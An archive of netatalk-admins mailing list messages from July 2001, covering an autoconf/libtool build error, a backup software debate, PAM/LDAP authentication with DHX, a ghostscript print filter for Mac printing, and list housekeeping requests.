	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:25:03 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6ULP2N03989
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 23:25:02 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6ULP1U03843
	for netatalk-admins@umich.edu; Mon, 30 Jul 2001 23:25:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15RKSm-000356-00
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 23:20:32 +0200
Date: Mon, 30 Jul 2001 23:20:32 +0200
To: netatalk <netatalk-admins@umich.edu>
Subject: Re: aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in library
Message-ID: <20010730232032.A11758@jroger.in-berlin.de>
Mail-Followup-To: netatalk <netatalk-admins@umich.edu>
References: <200107302107.QAA0000002390@as200.trb.htc.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200107302107.QAA0000002390@as200.trb.htc.net>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Jul 30, 2001 at 04:07:56PM -0500, Troy R. Baldwin wrote:

> I am running Linux 6.2

Which Linux? Redhat? SuSE?

> autoconf 2.5
> automake 1.4-p4
> libtool 1.3.5 (also tried 1.3.4)

Please look for the file "libtool.m4" (using "locate libtool.m4").
Where is it located? What's the output from

egrep ^\$prefix `which aclocal`
egrep ^\$acdir `which aclocal`

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:33:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12876
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:33:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA01249
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:33:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01233
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:33:52 -0400 (EDT)
Received: from Bayou.UH.EDU (Bayou.UH.EDU [129.7.1.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01202
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:33:51 -0400 (EDT)
Received: from localhost (jzhao2@localhost)
	by Bayou.UH.EDU (8.8.8/8.8.8) with ESMTP id QAA02721;
	Mon, 30 Jul 2001 16:33:45 -0500 (CDT)
Date: Mon, 30 Jul 2001 16:33:45 -0500 (CDT)
From: Jin Zhao <jzhao2@Bayou.UH.EDU>
To: "Troy R. Baldwin" <tbaldwin@ns.htc.net>
cc: Sebastian Rittau <srittau@jroger.in-berlin.de>,
        netatalk <netatalk-admins@umich.edu>
Subject: Re: aclocal: configure.in: 23: macro `AM_PROG_LIBTOOL' not found in
 library
In-Reply-To: <200107302107.QAA0000002390@as200.trb.htc.net>
Message-ID: <Pine.OSF.4.21.0107301619520.29543-100000@Bayou.UH.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> I am running Linux 6.2
> autoconf 2.5
> automake 1.4-p4
> libtool 1.3.5 (also tried 1.3.4)
> 
> --TRBo

It works on my Redhat7.1 system. the following is the related system
settings:
		autoconf 2.13
		automake 1.4
		libtool 1.3.5

I guess you can try automake-1.4, since running "grep AM_PROG_LIBTOOL /usr/share/aclocal" creates
"/usr/share/aclocal/libtool.m4:AC_DEFUN(AM_PROG_LIBTOOL,
[indir([AC_PROG_LIBTOOL])])dnl". It is clearly `AM_PROG_LIBTOOL' is 
delared in /usr/share/aclocal/libtool.m4. aclocal is a compomnent of
automake package.. 

good luck,

Jin




From netatalk.administrators-errors@umich.edu  Mon Jul 30 17:40:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA13005
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 17:40:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA01727
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 17:40:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01713
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 17:40:32 -0400 (EDT)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01676
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 17:40:31 -0400 (EDT)
Received: (qmail 6062 invoked by uid 104); 30 Jul 2001 21:40:30 -0000
Received: from cwg@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.40/v4150. . Clean. Processed in 0.235773 secs); 30/07/2001 16:40:30
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 30 Jul 2001 21:40:30 -0000
Received: (qmail 2494 invoked from network); 30 Jul 2001 21:40:29 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>)
          by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP
          for <rich@alcor.concordia.ca>; 30 Jul 2001 21:40:29 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Rich Lafferty <rich@alcor.concordia.ca>
Cc: netatalk-admins@umich.edu
Subject: Re: Backup Software Question 
In-Reply-To: <20010730172404.O12217@lafferty.ca> 
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]> <28487.996527747@deepeddy.com> <20010730172404.O12217@lafferty.ca>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_681253810P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 30 Jul 2001 16:40:29 -0500
Message-ID: <2490.996529229@deepeddy.com>
From: Chris Garrigues <cwg@deepeddy.com>

--==_Exmh_681253810P
Content-Type: text/plain; charset=us-ascii

> From:  Rich Lafferty <rich@alcor.concordia.ca>
> Date:  Mon, 30 Jul 2001 17:24:04 -0400
>
> Well, it's not particularly useful for disaster recovery, only for
> recovering from user error, and the usual goal of a backup plan is to
> insure against data loss from both disasters and user error. Disaster
> recovery tends to be the one that's crucial to keeping a business running,
> though, and it's also the trickier one to manage, so it tends to get
> priority, at least in an enterprise setting.

We have a raid array at a co-location point to which we back up incrementals 
for our customers.

I can recreate a customer machine on fresh hardware and drive it to his office 
faster than he could read the most recent full plus incrementals off of tape.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_681253810P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7ZdRNK9b4h5R0IUIRAiEsAJ9tbbJ7FuPRRW6fOc2j94nxYVc/3gCfUz06
JhQnDVtg/26zfqhsmjN2omc=
=SAxP
-----END PGP SIGNATURE-----

--==_Exmh_681253810P--

From netatalk.administrators-errors@umich.edu  Mon Jul 30 19:28:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17006
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 19:28:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA29109
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 19:28:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29097
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 19:28:00 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA29050
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 19:27:58 -0400 (EDT)
Received: (qmail 1295 invoked from network); 31 Jul 2001 19:29:33 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 31 Jul 2001 19:29:33 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: Backup Software Question
Date: Tue, 31 Jul 2001 09:27:12 +1000
Message-ID: <002b01c1194f$29fcf900$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <p05100300b78ac7694e80@[192.168.195.62]>
Importance: Normal

This is really a YMMV situation - amanda has worked really well for me at
several sites, and been the cause of many "thank god you restored that
file".

Telling me that Retrospect works for you doesn't change the fact that it
didn't work for us. If retrospect works for you, great. use it. amanda works
great for me, requires no attention, keeps me and my clients happy. i use
it.

If someone writes asking for recommendations on backup software, i'm
certainly not about to recommend something i've had bad experiences with.
i've had good experiences with amanda, and so recommended it.

I don't think that getting into a flame war was the point of the initial
request, it was a stab in the dark to find out what kinds of experiences
people out there have had with different backup systems, and not
suprisingly, the result is heterogeneous. it's up to them to decide what's
important for them given their situation / hardware / requirements /et al.
It's up to us, if we so choose, to offer our own experiences so that
hopefully someone else's admin-experience will be less painful.

Cheers all,

Chris

-----Original Message-----
From: Sak Wathanasin [mailto:sw@network-analysis.ltd.uk]
Sent: Monday, 30 July 2001 18:45
To: netatalk-admins@umich.edu
Subject: RE: Backup Software Question


In reply to Chris Herrmann's message of the 30/07/2001 at 09:06 +1000,


>Retrospect was one of the reasons why our mac users abandoned the macintosh
>server and went linux - too much trouble with it, although I'm not
convinced
>that at least part of that wasn't a user problem...

You've got to be kidding: I set up my Retro backup scripts 4 or 5 yrs
ago and apart from minor adjustments (replaced DAT with DLT, added
new clients etc) I'm essentially running the same scripts. I've
fought Amanda, straight dump/restore or tar/untar, Veritas and none
of them comes close.

Currently I use Amanda to backup my Linux and Solaris and I have to
tweak something every week or so. Its worst failing is that it
doesn't append more than 1 backup session to a tape, so some days a
backup tape will only contain a few 100 MBs of (incremental) backup.
V expensive when the tape is a DLT cartridge. And of course, when you
come round to reusing the tape, it just rewrites from the front, so
you end up with what I call "answering machine tape syndrome": the
first 10% of the tape is written over and over and gets worn out
while the remaining 90% is virgin tape.

When it comes to restoring from the backup, Retro's snap-shots makes
this really simple. And remember: your users don't thank you for
backing up their files, only for restoring them.
--
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12
Fax: (+44) 24 76 69 06 90



From netatalk.administrators-errors@umich.edu  Mon Jul 30 20:09:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA18673
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 20:09:39 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA05644
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 20:09:39 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA05631
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 20:09:39 -0400 (EDT)
Received: from c007.snv.cp.net (c007-h013.c007.snv.cp.net [209.228.33.220])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA05598
	for <Netatalk-Admins@Umich.Edu>; Mon, 30 Jul 2001 20:09:38 -0400 (EDT)
Message-Id: <200107310009.UAA05598@easycomeeasygo.mr.itd.umich.edu>
Received: (cpmta 18432 invoked from network); 30 Jul 2001 17:09:36 -0700
Received: from dsl-64-192-249-121.telocity.com (HELO localhost) (64.192.249.121)
  by smtp.telocity.com (209.228.33.220) with SMTP; 30 Jul 2001 17:09:36 -0700
X-Sent: 31 Jul 2001 00:09:36 GMT
Date: Mon, 30 Jul 2001 20:09:12 -0400
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v388)
From: Joseph Annino <anninj@rpi.edu>
To: "<Netatalk-Admins@Umich.Edu>" <Netatalk-Admins@umich.edu>
X-Mailer: Apple Mail (2.388)
Content-Transfer-Encoding: 7bit
Subject: unsubscribe

unsubscribe

From netatalk.administrators-errors@umich.edu  Mon Jul 30 22:40:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA23633
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 30 Jul 2001 22:40:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id WAA25037
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 30 Jul 2001 22:39:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA25019
	for netatalk.administrators-members@umich.edu; Mon, 30 Jul 2001 22:39:52 -0400 (EDT)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA24967
	for <netatalk-admins@umich.edu>; Mon, 30 Jul 2001 22:39:51 -0400 (EDT)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated (0 bits))
	by max.hkust.se (8.11.4/8.11.4) with ESMTP id f6V2eVr18968;
	Tue, 31 Jul 2001 04:40:34 +0200
Message-ID: <3B661A60.93463132@hkust.se>
Date: Tue, 31 Jul 2001 04:39:28 +0200
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Lee Blevins <leeb@digitalgraphics.net>
CC: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: OPI
References: <1exdbt2.16ryumw2zovpwM@cx448422-b.wwck1.ri.home.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

IIRC, there has been talk about this earlier on the list
I'd suggest to check the archives before duplicating efforts.

Other than that; good luck! It would be nice to get even more reasons
to chuck in *nix boxes in them Mac+M$ shops.... :)


/magnus

Lee Blevins wrote:
> 
> I'm ready to pitch in my remedial c programing talents to start the ball
> rolling on OPI.
> 
...

From netatalk.administrators-errors@umich.edu  Tue Jul 31 01:44:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA00092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 01:44:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id BAA13210
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 01:44:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA13195
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 01:44:22 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id BAA13082
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 01:44:18 -0400 (EDT)
Received: (qmail 3603 invoked from network); 1 Aug 2001 01:45:59 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 1 Aug 2001 01:45:59 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: Reality check on authentication notes
Date: Tue, 31 Jul 2001 15:43:38 +1000
Message-ID: <005501c11983$bfde1f60$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hi all,

I've included most of Thomas' notes in the url below. There's a question
still about how authentication works/doesn't work if pam passes
authentication off to an ldap server etc. Anyone got any experience here?

<snip>
>
> http://gemini.faredge.com.au/netatalk/authentication.html
>
Well, there is an open issue: integrating authentication against external
services like ldap, smb, etc. as Harald wrote.

| am 30.07.2001 11:45 Uhr schrieb Harald Wagener:
|
| > But You cannot use DHX if authentication is passed to some external
| > mechanism by PAM. And if You put uams_dhx.o in the list of allowable
| > methods, the chooser (appleshare client) will choose that of it“s own,
| > and authentication against the ldap server won't work anymore.
| > Or am I wrong here?

I don't have any spare time to check this out. Maybe somebody asks this on
the Netatalk-devel lists whether there is a way to combine the pam uam with
dhx authentication. This would improve things much.

<unsnip>

Cheers,

Chris


From netatalk.administrators-errors@umich.edu  Tue Jul 31 04:29:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA05974
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 04:29:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA02612
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 04:29:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02597
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 04:29:19 -0400 (EDT)
Received: from smtp01.iprimus.net.au (www01.pod02.corp.iprimus.net.au [203.134.64.107])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA02526
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 04:29:17 -0400 (EDT)
Received: from pc ([210.50.67.198]) by smtp01.iprimus.net.au with Microsoft SMTPSVC(5.0.2195.3571);
	 Tue, 31 Jul 2001 18:29:10 +1000
Message-ID: <006701c1199a$641d8a00$070101df@onlineperspective.com>
From: "Jerome Cintas" <jcintas@iprimus.com.au>
To: "Netatalk Admins" <netatalk-admins@umich.edu>
Subject: setting up ghostscript 
Date: Tue, 31 Jul 2001 18:25:42 +1000
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0064_01C119EE.353BB1E0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-OriginalArrivalTime: 31 Jul 2001 08:29:11.0323 (UTC) FILETIME=[DFC8EEB0:01C1199A]

This is a multi-part message in MIME format.

------=_NextPart_000_0064_01C119EE.353BB1E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

in the process of setting up an Epson Photo EX printer locally connected =
to my linux box,
i successfully setup netatalk for file share access with my mac, and =
have the printer working fine fro linux.

now to setup the printer to print from the mac, i keep having trouble =
setting up the filter for the queue to use ghostscript.

there is a an info page with the following link:
http://artoo.hitchcock.org/~flowerpt/projects/linux-netatalk/ghostscript.=
html
but doesn't seem to be up.
can anyone give me alink or info on how to setup my filter for =
ghostscript ?

FYI,my filter is as follow:

PATH=3D/usr/local/atalk/bin:/usr/local/bin:/bin:$PATH
export PATH

( echo '%!' ;
  echo '{0.333 exp} dup dup currenttransfer setcolortransfer' ;
  cat -
) | gs -q -dNOPAUSE -sDEVICE=3Depson -sOutputFile=3D- - | pap -E

and  i have the error :
 lp_init: lock: No such file or directory
 lp_open failed
when trying to print from the mac,
and a 'postscript error' message appears on the mac.

thanks !!

------=_NextPart_000_0064_01C119EE.353BB1E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#f0ece0>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>in the process of setting up an Epson =
Photo EX=20
printer locally connected to my linux box,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i successfully setup netatalk for file =
share access=20
with my mac, and have the printer working fine fro linux.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>now to setup the printer to print from =
the mac, i=20
keep having trouble setting up the filter for the queue to use=20
ghostscript.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>there is a an info page with the =
following=20
link:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://artoo.hitchcock.org/~flowerpt/projects/linux-netatalk/ghos=
tscript.html">http://artoo.hitchcock.org/~flowerpt/projects/linux-netatal=
k/ghostscript.html</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>but doesn't seem to be up.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>can </FONT><FONT face=3DArial =
size=3D2>anyone give me=20
alink or info on how to setup my filter for ghostscript ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>FYI,my filter is as =
follow:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>PATH=3D/usr/local/atalk/bin:/usr/local/bin:/bin:$PATH<BR>export =

PATH</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>( echo '%!' ;<BR>&nbsp; echo '{0.333 =
exp} dup dup=20
currenttransfer setcolortransfer' ;<BR>&nbsp; cat -<BR>) | gs -q =
-dNOPAUSE=20
-sDEVICE=3Depson -sOutputFile=3D- - | pap -E<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and &nbsp;i have the error =
:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;lp_init: lock: No such file or=20
directory<BR>&nbsp;lp_open failed</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>when trying to print from the =
mac,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and a 'postscript error' message =
appears on the=20
mac.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks !!</FONT></DIV></BODY></HTML>

------=_NextPart_000_0064_01C119EE.353BB1E0--


From netatalk.administrators-errors@umich.edu  Tue Jul 31 04:35:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06159
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 04:35:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA00151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 04:35:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA00139
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 04:35:15 -0400 (EDT)
Received: from dns2.northox.ac.uk (dns2.northox.ac.uk [195.194.168.132])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA00096
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 04:35:13 -0400 (EDT)
Received: from mail.northox.ac.uk (mail.northox.ac.uk [195.194.168.139])
	by dns2.northox.ac.uk (Postfix) with ESMTP id E688C594
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 08:34:57 +0000 (GMT)
Received: from BANBURY1/SpoolDir by mail.northox.ac.uk (Mercury 1.48);
    31 Jul 01 09:29:11 +0000
Received: from SpoolDir by BANBURY1 (Mercury 1.48); 31 Jul 01 09:28:45 +0000
Received: from [192.168.3.51] (192.168.3.51) by mail.northox.ac.uk (Mercury 1.48) with ESMTP;
    31 Jul 01 09:28:33 +0000
Mime-Version: 1.0
X-Sender: tallett@192.168.1.2
Message-Id: <p05010401b78c1dc5ed3c@[192.168.3.51]>
Date: Tue, 31 Jul 2001 09:34:15 +0100
To: netatalk umich <netatalk-admins@umich.edu>
From: Trevor Allett <tallett@northox.ac.uk>
Subject: help
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

can someone remind me how to suspend mail from this list?

TIA
-- 
--
==============================
Trevor Allett
IT Support unit
North Oxfordshire College,
Banbury,
Oxfordshire.	United Kingdom.
=======================================
============================================
This message may contain information which is legally privileged
and/or confidential. If you are not the intended recipient, you
are hereby notified that any unauthorised disclosure, copying,
distribution or use of this information is strictly prohibited.
Such notification notwithstanding, any comments or opinions
expressed are those of the originator, not of
North Oxfordshire College and School of Art,
unless otherwise explicitly stated.
=================================================================

From netatalk.administrators-errors@umich.edu  Tue Jul 31 04:47:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06420
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 04:47:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA07910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 04:47:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA07876
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 04:47:05 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA07821
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 04:47:03 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHBXQE00.N5P; Tue, 31 Jul 2001 10:47:02 +0200 
Sender: hollow@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3B667086.642BCCA7@fcb-wilkens.com>
Date: Tue, 31 Jul 2001 10:47:02 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
